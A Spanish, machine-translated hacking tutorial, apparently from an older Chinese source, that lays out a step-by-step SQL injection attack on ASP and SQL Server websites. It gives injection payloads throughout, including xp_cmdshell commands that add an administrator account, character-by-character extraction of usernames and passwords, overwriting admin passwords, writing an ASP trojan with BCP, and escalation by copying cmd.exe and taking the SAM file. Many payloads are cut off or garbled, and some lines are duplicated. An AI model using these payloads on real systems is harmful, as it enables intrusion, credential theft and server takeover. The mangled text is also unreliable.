Red de conocimientos turísticos - Información de alquiler - Características de la inyección de código

Características de la inyección de código

Se accede a la inyección SQL desde un puerto WWW común. En la superficie, no hay diferencia entre acceder a una página web y acceder a una página web normal, por lo que los firewalls actualmente en el mercado no emitirán una alerta. Inyección SQL. Si el administrador no tiene la costumbre de verificar los registros de IIS, es posible que lo pirateen durante mucho tiempo sin darse cuenta. Sin embargo, la inyección SQL es bastante flexible y pueden ocurrir muchas situaciones inesperadas durante la inyección. ¿Puedes analizar la situación y construir una declaración SQL inteligente para obtener con éxito los datos que necesitas?

Según las estadísticas, más del 70% de los sitios web utilizan ASP+Access o SQLServer, el 20% utiliza PHP+MySQL y menos del 10% de otros sitios web. Este artículo toma SQL-SERVER + ASP como ejemplo para presentar los principios, métodos y procesos de la inyección SQL. (El artículo sobre inyección PHP fue escrito por zwell, otro amigo de NB Alliance)

La idea general del ataque de inyección SQL es:

l Descubra la ubicación del Inyección SQL;

l Determinar el tipo de base de datos backend;

l Determinar la ejecutabilidad de XP_CMDSHELL

l Descubrir el directorio virtual WEB;

l Cargue el troyano ASP;

l p>

l Obtenga derechos de administrador;

1. Determinación de las vulnerabilidades de inyección SQL

En términos generales, la inyección SQL generalmente existe en la siguiente forma: HTTP://xxx.xxx.xxx.xxx/abc.asp? Una página web dinámica puede tener solo un parámetro. y a veces puede haber N parámetros, a veces parámetros enteros y a veces parámetros de cadena, que no se pueden generalizar. En definitiva, siempre que exista una página web dinámica con parámetros, y esta página web acceda a la base de datos, existe la posibilidad de inyección SQL. Si los programadores de ASP no son conscientes de la seguridad y no realizan el filtrado de caracteres necesario, entonces la posibilidad de inyección SQL será muy alta.

Para comprender completamente las respuestas de la página web dinámica, primero debe ajustar la configuración de IE. Desmarque el menú de IE - Herramientas - Opciones de Internet - Avanzado - Mostrar mensajes de error HTTP amigables.

Para ilustrar claramente el problema, lo siguiente toma HTTP://xxx.xxx.xxx/abc.asp?p=YYY como ejemplo para el análisis. YY puede ser un número entero o una cadena.

1. Juicio de parámetros enteros

Cuando el parámetro de entrada YY es un número entero, generalmente la declaración SQL original en abc.asp es aproximadamente la siguiente:

seleccione * del nombre de la tabla donde campo = YY, para que pueda utilizar los siguientes pasos para probar la inyección SQL. asp se ejecuta de forma anormal;

②HTTP:// xxx.xxx.xxx/abc.asp?p=YY y 1=1, abc.asp se ejecuta normalmente y el resultado es el mismo que HTTP:// xxx.

③HTTP://xxx.xxx.xxx/abc.asp?p=YY y 1=2, abc.asp se ejecuta de forma anormal;

③HTTP://xxx. xxx.xxx/abc .asp? abc.asp se ejecuta de forma anormal;

Si se cumplen completamente los tres pasos anteriores, abc.asp debe tener una vulnerabilidad de inyección SQL.

2. Juicio de parámetros de tipo cadena

Cuando el parámetro de entrada YY es una cadena, generalmente la declaración SQL original en abc.asp es aproximadamente la siguiente:

seleccione * del nombre de la tabla donde campo = 'YY', para que pueda utilizar los siguientes pasos para probar la inyección SQL.

La declaración SQL en ASP se convierte en

select * del nombre de la tabla donde campo=YYY', abc.asp se ejecuta de manera anormal;

②HTTP://xxx.xxx.xxx/abc. ?p=Y&nb... 39;1'='1', abc.

②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb... 39;1' = '2', abc.asp se ejecuta normalmente y el resultado es el mismo que HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb... 39;1'='2';

Si los tres pasos anteriores se cumplen completamente, abc.asp debe tener una vulnerabilidad de inyección SQL.

3. Manejo de situaciones especiales

A veces, para evitar la inyección de SQL, los programadores de ASP filtrarán caracteres como las comillas simples en el programa. En este punto, puede probar los siguientes métodos.

①Método mixto que distingue entre mayúsculas y minúsculas: dado que VBS no distingue entre mayúsculas y minúsculas, los programadores generalmente filtran todas las cadenas en mayúsculas o minúsculas al filtrar, y a menudo se ignoran las mayúsculas y minúsculas. Por ejemplo, use SelecT en lugar de seleccionar, SELECT, etc.;

② Método UNICODE: en IIS, el conjunto de caracteres UNICODE se ha internacionalizado y podemos convertir la cadena de entrada de IE en una cadena UNICODE para entrada. . Como + =%2B, espacio =%20, etc.; la información de URLEncode se muestra en el Apéndice 1.

③ Método de código ASCII: puede reemplazar algunos o todos los caracteres de entrada con códigos ASCII; como U=chr (85), a=chr (97), etc. Consulte el Apéndice 2 para obtener información ASCII

2. Distinguir los tipos de servidores de bases de datos

En términos generales, ACCESS; y SQL-SERVER son los servidores de bases de datos más utilizados. Aunque todos admiten el estándar T-SQL, siguen siendo diferentes y las diferentes bases de datos tienen diferentes métodos de ataque, que deben distinguirse.

1. Utilice las variables del sistema del servidor de base de datos para distinguir

SQL-SERVER tiene variables del sistema como usuario y db_name(). Solo juzgo SQL-SERVER, pero también obtuve mucha información útil. Por ejemplo:

①HTTP://xxx.xxx.xxx/abc.asp?p=YYY y usuario>0 no solo pueden determinar si es SQL-SERVER, sino también obtener el nombre de usuario actualmente conectado a la base de datos

②HTTP://xxx.xxx.xxx/abc.asp?p=YYY &n ...db_name()>0 no solo puede determinar si es SQL-SERVER, sino también obtener el nombre de la base de datos utilizada actualmente;

2. Usar tablas del sistema

La tabla del sistema de ACCESS es msysobjects, que no tiene derechos de acceso en el entorno WEB, mientras que la tabla del sistema de SQL-SERVER es sysobjects, que tiene derechos de acceso en el entorno WEB. Para las dos declaraciones siguientes:

①HTTP://xxx.xxx.xxx/abc.asp?p=YYY y (select count(*) from sysobjects)>0

②HTTP ://xxx.xxx.xxx/abc.asp?p=YYY y (seleccione count(*) from msysobjects)>0

Si la base de datos es SQL-SERVE, el primer abc.asp debe Si se ejecuta normalmente, el segundo será anormal si es ACCESS, ambos serán anormales;

3. Tabla del sistema de tres claves MSSQL

tabla del sistema sysdatabases: cada base de datos en Microsoft SQL Server tiene una fila en esta tabla. Cuando SQL Server se instala inicialmente, sysdatabases contiene entradas para las bases de datos maestra, modelo, msdb, mssqlweb y tempdb. Esta tabla sólo se almacena en la base de datos principal. ¿Qué información se almacena en esta tabla en la base de datos principal? Esto es muy importante. Esta tabla contiene los nombres, los ID de las bibliotecas y alguna información relacionada para todas las bibliotecas.

A continuación se enumeran los campos que nos resultan útiles y sus descripciones. nombre //Indica el nombre de la biblioteca de recursos.

dbid //Representa el ID de la biblioteca, dbid del 1 al 5 es sistemático. Ellos son: maestro, modelo, msdb, mssqlweb, tempdb. Utilice select * de master.dbo.sysdatabases para consultar los nombres de todas las bibliotecas.

Sysobjects: Cada base de datos en SQL-SERVER tiene una tabla del sistema, que almacena todos los objetos creados en la base de datos, como restricciones, valores predeterminados, registros, reglas, procedimientos almacenados, etc., cada objeto ocupa una fila en la tabla. Los siguientes son los nombres de los campos y las descripciones relacionadas de la tabla del sistema.

Nombre, ID, tipo x, UID, estado: respectivamente, el nombre del objeto, ID del objeto, tipo de objeto, ID de usuario del objeto propietario y estado del objeto.

Tipo de objeto (xtype). Puede ser uno de los siguientes tipos de objeto:

C = restricción CHECK

D = restricción DEFAULT o DEFAULT

F = restricción FOREIGN KEY

L = LOG

FN = Función Escalar

IF = Función Inline

P = Procedimiento

P = PROCEDIMIENTO

PK = PRIMARY Función

PK = PRIMARY Tipo.

PK = Restricción PRIMARY KEY (tipo K)

RF = Proceso de filtrado de replicación

S = Tabla del sistema

TF = Función de tabla

TR = disparador

U = tabla de usuarios

UQ = restricción ÚNICA (tipo K)

V = vista

X = Procedimiento almacenado extendido

Cuando xtype='U' y status> 0 indica una tabla creada por el usuario, el nombre del objeto es el nombre de la tabla y el ID del objeto es el valor de ID. de la mesa.

Usando: seleccione * de ChouYFD.dbo.sysobjects donde xtype='U' y status>0, puede enumerar todos los nombres de tablas creados por los usuarios en la biblioteca ChouYFD.

syscolumns: cada columna de cada tabla y vista ocupa una fila de la tabla, y cada parámetro del procedimiento almacenado ocupa una fila de la tabla. Las tablas se encuentran en cada base de datos. Los campos principales incluyen:

nombre, id, colid: nombre del campo, número de ID de la tabla, número de ID del campo, donde ID es solo el número de ID de la tabla que obtenemos usando sobjects.

Uso: seleccione * de ChouYFD.dbo.syscolumns donde id=123456789 para obtener una lista de todos los campos con ID de tabla 123456789 en la biblioteca ChouYFD.

3. Determine el archivo ejecutable de Si el shell) se puede ejecutar correctamente, podrá controlar completamente toda la computadora y todos los pasos posteriores se podrán guardar

1. /xxx.xxx.xxx/abc.asp?p=YYY&nb... abc.asp con er>0 se ejecuta de forma anormal, pero se puede obtener el nombre de usuario actualmente conectado a la base de datos (si se muestra dbo, es SA).

2. HTTP://xxx.xxx.xxx/abc.asp?p=YYY ... me()>0 abc.as se ejecuta de forma anormal, pero el nombre de la base de datos actualmente conectada puede ser obtenido.

3.HTTP://xxx.xxx.xxx/abc.asp?p=YYY; exec master...xp_cmdshell net user aaa bbb /add--(master es la base de datos principal de SQL- SERVER ; El punto y coma en el nombre significa que SQL-SERVER continuará ejecutando la declaración antes del punto y coma después de haber terminado de ejecutar la declaración antes del punto y coma (master es la base de datos maestra de SQL-SERVER; el punto y coma en el nombre significa que SQL -EL SERVIDOR ha terminado de ejecutar el punto y coma después de la declaración anterior, continúe ejecutando la declaración después del punto y coma; el signo "-" es un comentario, lo que significa que el siguiente contenido es solo un comentario y no será ejecutado por el sistema) Puede agregar directamente la cuenta del sistema operativo aaa y la contraseña es bbb.

4. administradores del grupo local aaa /add: agregue la cuenta aaa que acaba de agregar al grupo de administradores

5. HTTP://xxx.xxx.xxx/abc.asp?p=YYY nombre de la base de datos de respaldo al disco; ='c:\inetpub\wwwroot\save.db' y luego haga una copia de seguridad de todo el contenido de los datos. Vaya al directorio WEB y luego use HTTP para descargar este archivo (por supuesto, es mejor conocer el directorio virtual WEB)

6. Cree una vulnerabilidad UNICODE copiando CMD

HTTP://xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell copiar c:\ winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe Luego se genera una vulnerabilidad UNICODE, al explotar Esta vulnerabilidad se puede utilizar para controlar toda la computadora (por supuesto, la primera opción es conocer el directorio virtual WEB )

4. Encuentre el directorio virtual WEB

Solo encontrando el directorio virtual WEB se puede identificar la ubicación de ubicación del troyano ASP y luego obtener permisos de USUARIO. p> Uno es adivinar según la experiencia. En términos generales, el directorio virtual WEB es: c:\inetpub\wwwwroot; D:\inetpub \wwwwroot; :\inetpub\scripts; D:\inetpub\scripts; D:\inetpub\scripts, etc. guiones, etc.

El segundo es recorrer la estructura de directorios del sistema, analizar los resultados y descubrir el directorio virtual WEB.

Primero cree una tabla temporal: temp

HTTP: //xxx.xxx .xxx/abc.asp?p=YYYY;create&n .. mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

Siguiente paso:

(1) Podemos usar xp_availablemedia para obtener todas las unidades actuales y almacenarlas en una tabla temporal:

HTTP://xxx.xxx. xxx/abc.asp?p=YYYY;insert temp... ter.dbo.xp_availablemedia;--

Podemos obtener la lista de unidades e información relacionada consultando el contenido de temp

(2) Podemos usar xp_subdirs para obtener la lista de subdirectorios y almacenarla en la tabla temporal:

HTTP://xxx.xxx.xxx.xxx/abc.asp?p=YYY; insert into temp( i ... dbo.xp_subdirs 'c:\';--

(3) También podemos usar xp_dirtree para obtener la estructura de árbol de directorios de todos los subdirectorios y almacenarla en la tabla temporal. :

HTTP://xxx.xxx.xxx/abc.asp?p=YYY;insertar en temp(id, num1) exec master.xp_dirtree(id)dbo.xp_dirtree 'c:\'; --

Esto nos permitirá navegar exitosamente por la lista de todos los directorios (carpetas):

Si necesitamos ver el contenido de un archivo, podemos hacerlo ejecutando xp_cmdsell :

HTTP://xxx.xxx.xxx/abc.asp?.xxx/abc.asp?p=YYYY;insertar en temp(id) exec... nbsp;'tipo c:/ web/index.asp' ;--

Utilizando la sintaxis de "inserción masiva", puede insertar archivos de texto en una tabla temporal. Por ejemplo: inserción masiva temp(id) desde 'c:\inetpub\. wwwroot\index.asp'

¡La temperatura de navegación mostrará el contenido del archivo index.asp! Al analizar varios archivos ASP, puede obtener una gran cantidad de información del sistema, información de administración y compilación WEB e incluso la contraseña de conexión para la cuenta SA.

Por supuesto, si se puede ejecutar xp_cmshell, podemos usarlo para completar:

HTTP://xxx.xxx.xxx/abc.asp?p=YYY;insert into temp(id)&nbs ... cmdshell 'dir c:\';--

HTTP://xxx.xxx.xxx/abc.asp?p=YYY;insertar en temp(id)&n .. . p_cmdshell 'dir c:\*.asp /s/a';--

A través de xp_cmdshell, podemos ver todo lo que queremos ver, incluido W3svc

HTTP: //xxx.xxx.xxx.xxx/abc.asp?p=YY;insertar en temp(id) exec master.dbo.xp_cmdshe ... ub\AdminScripts\adsutil.vbs enum w3svc'

Pero si no es un permiso SA, también podemos usar

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY;insert into temp(id,num1) exec master.dbo. xp_dirtree 'c:\';--

Nota:

1. Después de completar cada una de las exploraciones anteriores, se deben eliminar todos los contenidos de TEMP. El método de eliminación es:

HTTP://xxx.xxx.xxx/abc.asp?p=YYY;eliminar de temp;--

2. El método para explorar la tabla TEMP es: (suponiendo que TestDB es el nombre de la base de datos actualmente conectada)

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (seleccione top& ... nbsp;TestDB.dbo.temp )>0 Obtener la primera entrada en la tabla TEMP El valor del campo de identificación se registra y se compara con el número entero. Aparentemente abc.asp funciona de manera anormal, pero el valor del campo de identificación se encuentra en la excepción. Supongamos que el nombre de la tabla encontrada es xyz, luego

HTTP://xxx.xxx.xxx/abc.asp?p=YY y (seleccione la primera identificación de ... antes de que la identificación no esté en(' xyz '))>0 Obtenga el valor del campo de identificación del segundo registro en la tabla TEMP.

5. Cargar troyano ASP

El llamado troyano ASP es un tipo de código ASP con funciones especiales y se coloca en Scripts en el directorio virtual WEB que pueden utilizar los clientes. IE para ejecutar y luego obtener la autoridad de USUARIO del sistema para lograr el control inicial del sistema. Generalmente existen dos métodos más efectivos para cargar troyanos ASP:

1. Usar WEB para administración remota

Muchos sitios WEB brindan funciones de administración remota para facilitar el mantenimiento de los sitios y sus contenidos; tener diferentes derechos de acceso para diferentes usuarios. Para controlar los permisos de los usuarios, existe una página web que requiere un nombre de usuario y contraseña. Solo ingresando los valores correctos se puede pasar al siguiente paso, y luego se puede administrar la WEB, como cargar y descargar archivos. , navegar por directorios y modificar configuraciones espere.

Por tanto, si obtienes el nombre de usuario y la contraseña correctos, no sólo podrás cargar troyanos ASP, sino que en ocasiones incluso podrás obtener permisos de USUARIO y navegar por el sistema directamente, saltándote la complicada operación de descubrir el directorio virtual WEB. en el paso anterior.

Los nombres de usuario y las contraseñas generalmente se almacenan en una tabla. Encontrar esta tabla y leer su contenido puede resolver el problema. A continuación se ofrecen dos métodos eficaces.

1. Método de inyección:

Teóricamente, habrá un tipo de página web de autenticación como:

seleccione * del administrador donde nombre de usuario='XXX' y contraseña = declaración 'YYY', si no se realiza el filtrado de caracteres necesario en esta declaración antes de la operación formal, es fácil lograr la inyección SQL.

Si ingresa: abc' o 1=1 en el cuadro de texto del nombre de usuario e ingresa 123 en el cuadro de contraseña, la declaración SQL se convertirá en:

seleccione * de admin donde nombre de usuario ='abc' o 1=1 y contraseña='123' No importa qué nombre de usuario y contraseña ingrese, esta declaración siempre se ejecutará correctamente y el usuario puede engañar fácilmente al sistema y obtener una identidad legal.

B. Método de adivinación:

La idea básica es: adivinar todos los nombres de las bases de datos, adivinar el nombre de cada tabla en la base de datos, analizar los nombres de las tablas que pueden almacenar nombres de usuarios y contraseñas, adivina la tabla El nombre de cada campo en la tabla, adivina el contenido de cada registro en la tabla.

l Adivina todos los nombres de las bases de datos

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (selecciona count(*) de master.dbo.sysdatabases donde name>1 y dbid=6) <& gt;0 porque el sistema utiliza valores dbid del 1 al 5. Después de enviar nombre>1 (el campo de nombre es un campo de caracteres, el número se comparará con el error), abc.asp funciona normalmente y se puede obtener el primer nombre de la base de datos. De la misma manera, el DBID se cambia a 7. , 8, 9 y 10 respectivamente ,11,12…. Puede obtener todos los nombres de las bases de datos.

Lo siguiente supone que el nombre de la base de datos es TestDB.

lAdivina el nombre de la tabla de nombres de usuario en la base de datos

Método de adivinación: este método consiste en adivinar el nombre de la tabla según la experiencia personal. En términos generales, usuario, usuarios, miembro. miembros, lista de usuarios, lista de miembros, información de usuario, información de usuario, información de usuario, administrador, administrador, usuario administrador, usuario del sistema, usuarios del sistema, usuario del sistema, usuarios del sistema, cuentas del sistema, cuentas del sistema, etc. Y juzgue a través de la declaración

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (select count(*) from TestDB.dbo.tableName)>0, si el nombre de la tabla existe, abc.asp se ejecuta normalmente; de ​​lo contrario, es anormal. Este ciclo continúa hasta que se adivina el nombre de la tabla de cuentas del sistema.

Método de lectura: SQL-SERVER tiene una tabla sysobjects que almacena información central del sistema. Todas las tablas, vistas y otra información sobre una biblioteca se almacenan en esta tabla, y se puede acceder a esta tabla a través de la WEB.

Cuando xtype='U' y status>0 indican la tabla creada por el usuario, busque y analice la tabla y el nombre creado por cada usuario, y luego podrá obtener el nombre de la tabla de nombres de usuario. El método de implementación básico es:

①HTTP://xxx.xxx.xxx/abc.asp?p=YYY y (seleccione) el primer nombre de TestD... tipo='U' y estado> 0 )>0 get first El nombre de la tabla creada por el usuario se compara con el número entero Obviamente, abc.asp funciona de manera anormal, pero el nombre de la tabla se encuentra en la excepción.

Supongamos que el nombre de la tabla encontrada es xyz,

②HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (seleccione el nombre principal de TestDB.dbo.sysobjects& ... tatus> 0 y nombre no en ('xyz'))>0 Puede obtener el nombre de la tabla creada por el segundo usuario. De la misma manera, puede obtener los nombres de todas las tablas creadas por este usuario.

Según el nombre de la tabla, el nombre de usuario y la contraseña almacenados en la tabla generalmente se pueden determinar. Lo siguiente supone que el nombre de la tabla es Admin.

l Adivina el nombre del campo de nombre de usuario y el nombre del campo de contraseña

La tabla de administración debe tener un campo de nombre de usuario y un campo de contraseña, y solo los nombres de estos dos campos. se puede obtener, es posible obtener el contenido de estos dos campos. ¿Cómo conseguir sus nombres? También hay dos métodos.

Método de adivinación: este método consiste en adivinar el nombre del campo según la experiencia personal. En términos generales, los nombres más utilizados del campo de nombre de usuario son: nombre de usuario, nombre, usuario, cuenta, etc. Los nombres más utilizados de los campos de contraseña son: contraseña, contraseña, contraseña, contraseña, etc. Y determínelo a través de la declaración

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (select count(field name) from TestDB.dbo.admin)>0 select count( nombre del campo) de la declaración del nombre de la tabla para obtener el número de filas en la tabla, por lo que si el nombre del campo existe, abc.asp funciona bien; de lo contrario, no. Esto se repite hasta que se adivinan dos nombres de campos.

Método de lectura: La implementación básica es

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (select... me(object_id('admin '),1) de TestDB.dbo.sysobjects)>0 .seleccione los 1 primeros col_name(object_id('admin'),1) de TestDB.dbo.sysobjects)>0 .seleccione los 1 primeros col_name(object_id('admin') ,1) de TestDB.dbo.sysobjects)>0.dbo.sysobjects de sysobjects Obtenga el primer nombre de campo del nombre de la tabla conocida. En comparación con el número entero, obviamente abc.asp funciona de manera anormal, pero el nombre del campo puede estar en el. excepción. Reemplace 1 en col_name(object_id('admin'),1) con 2, 3, 4, 5, 6... De esta manera obtendrá todos los nombres de los campos.

lAdivinar nombre de usuario y contraseña

El método más común y efectivo para adivinar el contenido del nombre de usuario y contraseña es:

Método de decodificación ASCII palabra por palabra: Aunque este método es más lento, pero definitivamente factible. La idea básica es adivinar primero la longitud del campo y luego adivinar el valor de cada bit por turno. Adivinar un nombre de usuario se hace de la misma manera que adivinar una contraseña, aquí hay un ejemplo del proceso para adivinar un nombre de usuario.

HTTP://xxx.xxx.xxx/abc.asp?p=YY y (seleccione top&n... nbsp;de TestDB.dbo.admin)=X(X=1,2,3 ,4,5,... n, nombre de usuario es el nombre del campo de nombre de usuario, administrador es el nombre de la tabla), si X es un cierto valor i y abc.asp se ejecuta normalmente, entonces i es la longitud del primer nombre de usuario.

Por ejemplo, al escribir

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (seleccione arriba... e) de TestDB.dbo.admin)=8, abc. asp se ejecuta normalmente, la longitud del primer nombre de usuario es 8

HTTP://xxx.xxx.xxx.xxx/abc.asp?p=YYYY y (sel ... ascii(substring( nombre de usuario ,m,1)) de TestDB.dbo.admin)=n (Cuando m=1,2,3, ..., el valor de m está entre 1 y la longitud del nombre de usuario obtenido en el paso anterior. m= Cuando 1,2,3,..., adivine el valor del 1.º, 2.º, 3.º,... respectivamente, el valor de n es el valor del 1.º, 2.º, 3.º,... el valor; de n es 1 ~ 9. Los valores ASCII de a ~ z, A ~ Z, es decir, cualquier valor entre 1 ~ 128 (admin es el nombre de la tabla de cuentas de usuario del sistema), si n es un valor determinado i; y abc.asp se ejecuta normalmente, entonces i corresponde. El código ASCII es un valor para el nombre de usuario. Por ejemplo: al escribir

HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (sel ... ascii(substring(username,3,1)) desde TestDB.dbo . admin)=80, cuando abc.asp se ejecuta normalmente, el tercer dígito del nombre de usuario es P (el código ASCII de P es 80);

HTTP://xxx.xxx.xxx/abc. .asp?p=YYYY y (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33 cuando abc.asp funciona bien, entonces el noveno dígito del nombre de usuario es. (ASCII es 33);

Una vez que adivines el primer nombre de usuario y contraseña, podrás adivinar todos los demás nombres de usuario y contraseñas de la misma manera. Nota: A veces, la contraseña que obtiene puede ser información cifrada mediante MD5 u otros métodos, y es necesario utilizar herramientas especiales para descifrarla. O cambie la contraseña primero y luego vuelva a cambiarla después de usarla. Consulte las instrucciones a continuación.

Método simple: use

HTTP://xxx.xxx.xxx/abc.asp?p=YY y (seleccione los 1 primeros... o.admin donde nombre de usuario>1 ) Adivine el nombre de usuario, la bandera es un campo en la tabla del administrador y el nombre de usuario es el campo de nombre de usuario. En este momento, abc.asp funciona de manera anormal, pero se puede obtener el valor del nombre de usuario. Usando el mismo método anterior, puede obtener el segundo nombre de usuario, el tercer nombre de usuario, y así sucesivamente, hasta que todos los nombres de usuario estén en la tabla.

Adivina la contraseña del usuario: HTTP://xxx.xxx.xxx/abc.asp?p=YYYY y (selecciona los 1 primeros&nb... B.dbo.admin donde pwd>1), la bandera es administración Un campo en la tabla de miembros, pwd es el campo de contraseña. En este momento, abc.asp se ejecuta de manera anormal, pero se puede obtener el valor de pwd. De la misma manera que arriba, puede obtener la contraseña del segundo nombre de usuario, la contraseña del tercer usuario, y así sucesivamente, hasta las contraseñas de todos los usuarios de la tabla. A veces, las contraseñas están cifradas con MD5 y se pueden cambiar.

HTTP://xxx.xxx.xxx/abc.asp?p=YYY;update TestDB.dbo.admin set pwd=' ... donde nombre de usuario='www';-- ( 1 El El valor MD5 es: AABBBBCCDDDEEEF, es decir, cambie la contraseña a 1; www es un nombre de usuario conocido)

Por supuesto, la contraseña también se puede cambiar al valor original utilizando el mismo método.

2. Usar la función de colocar el contenido de la tabla en un archivo

El comando SQL BCP puede colocar el contenido de la tabla en un archivo de texto y colocarlo en la ubicación especificada. Con esta función, primero podemos crear una tabla temporal, luego ingresar el troyano ASP en la tabla línea por línea y luego usar el comando BCP para exportarlo para formar un archivo ASP.

El formato de la línea de comando es el siguiente:

bCP select * from text..foo queryout c:\inetpub\wwwroot\runcommand.asp -c -S localhost -U sa - P foobar(El parámetro 'S' es el servidor que ejecuta la consulta, el parámetro 'U' es el nombre de usuario, el parámetro 'P' es la contraseña y finalmente carga un troyano runcommand.asp)

6. Obtenga los derechos de administrador del sistema

p>

El troyano asp solo tiene permisos de USUARIO. Si desea obtener el control total del sistema, también debe obtener los permisos de administrador del sistema. ¿Qué hacer? Hay muchas formas de aumentar los permisos:

Cargar troyanos, modificar el archivo .ini que se ejecuta automáticamente en el arranque (se bloquea después de reiniciar);

Copiar CMD.exe en el script; Cree manualmente vulnerabilidades UNICODE;

Descargue el archivo SAM y obtenga todos los nombres de usuario y contraseñas del sistema operativo después de descifrarlo;

¡Espera!

Se pueden adoptar diferentes enfoques dependiendo de las circunstancias específicas del sistema.

7. Varios métodos específicos de SQL-SERVER

1. Utilice el procedimiento almacenado extendido xp_regread para modificar el registro

[xp_regread] Otra función incorporada útil almacenamiento El procedimiento es una colección de funciones de la clase xp_regXXXX (Xp_regaddmultistring, Xp_regdeletekey, Xp_regdeletevalue, Xp_regenumkeys, Xp_regenumvalues, Xp_regread, Xp_regremovemultistring, Xp_regwrite). Un atacante puede utilizar estas funciones para modificar el registro, como leer valores SAM, permitir conexiones nulas y ejecutar programas automáticamente al inicio. Por ejemplo:

exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' Determina los tipos de conexiones de sesión disponibles en el servidor.

exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' Muestra la configuración de todos los grupos SNMP en el servidor. Con esta información, un atacante podría reconfigurar dispositivos de red en la misma red.

2. Utilice otros procedimientos almacenados para cambiar el servidor.

El procedimiento almacenado xp_servicecontrol permite a los usuarios iniciar y detener servicios.

Por ejemplo:

(exec master...xp_servicecontrol 'inicio','programación'

exec master.xp_servicecontrol 'inicio',servidor')

Xp_ availablemedia Muestra unidades útiles en la máquina

Xp_dirtree permite obtener árboles de directorios

Xp_enumdsn enumera las fuentes de datos ODBC en el servidor

Xp_loginconfig obtiene información de seguridad del servidor